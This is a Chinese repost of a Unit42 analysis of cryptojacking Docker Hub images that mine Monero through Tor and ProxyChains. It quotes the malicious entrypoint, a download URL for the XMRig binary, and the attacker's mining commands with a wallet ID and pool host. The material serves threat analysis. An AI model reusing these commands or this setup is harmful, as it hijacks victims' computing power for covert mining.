简介
Docker容器是一种对软件进行打包处理的便捷方式,因此采用率不断增加。Unit42研究人员发现了一个名为azurenql的DockerHub社区用户账号,其中含有8个仓库和6个恶意门罗币挖矿镜像。下面是账号和仓库的截图:
图1.DockerHub上的恶意Docker镜像
表1是DockerHub账户的所有镜像,下载次数最多的镜像被下载了147万次。
表1.DockerHub账户上的镜像总结
Docker镜像结构
研究人员检查了azurenql/227_135:442的镜像结构,该镜像是按如下步骤构造的:
1、使用Ubuntu16.04.6LTS比如gcc、make、python等;
3、安装tor来对流量进行匿名处理,配置为默认端口9050;
/etc/tor/torrc
127.0.0.1:9050
4、复制ProxyChains-NG源并从该源构造。ProxyChains的配置为默认配置来通过本地TorSOCKS代理连接来路由流量。
/usr/local/etc/proxychains.conf
[ProxyList]
#defaultssetto"tor"
socks4127.0.0.19050
5、复制挖矿软件XMRig的源,并从该源构造。
6、复制定制的python脚本dao.py并将其设置为镜像的Entrypoint。
图2.镜像构造顺序
脚本dao.py分析
镜像的作者包括了一个定制的Python脚本——dao.py,复制在容器内开启挖矿进程。如前所述,脚本被注册为镜像的Entrypoint,因此镜像启动后,脚本就会运行。
"Entrypoint":[
"/bin/sh",
"-c",
"python/etc/dao.py"
],
表1中的所有Docker镜像中都含有dao.py脚本或其变种。这些镜像中dao.py脚本的差异在于使用不同的XMRig命令行调用,如表2所示。
dao.py脚本的执行流如下所示:
1、计算系统内CPU核的数量;
2、设置hugepages系统特征来增加哈希率;
图3.设置hugepages系统特征来增加哈希率
3、安装Tor和构建依赖关系。
4、如果没有安装proxychains-ng,就从https://github.com/rofl0r/proxychains-ng.git安装;
5、如果/usr/local/bin中没有XMRig二进制文件(dll),就从https://github.com/nguyennhatduy2608/azures/raw/master/下载;
6、在/usr/local/binand/usr/bin中对XMRig二进制文件进行系统链接;
7、在后台启动Tor。
8、通过代理链来启动矿工,通过本地TorSOCKS代理来路由挖矿流量。dao.py脚本使用的不同挖矿命令如图2所示:
图4.使用proxychains启动挖矿的命令
脚本的执行工作流如图5所示:
图5.dao.py脚本执行序列
表2dao.py脚本中使用了的不同的挖矿命令
挖矿基础设施
加密货币挖矿是解决复杂的计算难题,用户可以将交易区块链接起来。恶意镜像使用受害者系统的处理能力来验证交易。镜像的作者通过在用户环境中运行恶意镜像来挖矿。第一种方法中,攻击者使用钱包ID直接提交挖到的区块到中心minexmr矿池。
os.system("xmrig--av=7--variant1--donate-level=0-o
stratum+tcp://pool.minexmr.com:4444-u
43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2
Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf+20001")
图6是钱包地址2020年4月-5月之间的挖矿活动。
图6.钱包ID活动
图7表明该钱包ID已经挖到了525.38XMR(门罗币),约合3.6万美元。
图7.钱包ID挖到的门罗币
第二种方法中,攻击者在运行挖矿池的托管服务中部署了实例用来收集挖到的区块。
表2中的CryptoCommand列给出了该方法的示例:
os.system("proxychains4"+program+"--donate-level1-o
stratum+tcp://66.42.93.164:442--tls-t"+str(cores))
参考及来源:https://unit42.paloaltonetworks.com/cryptojacking-docker-images-for-mining-monero/
特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。
来源: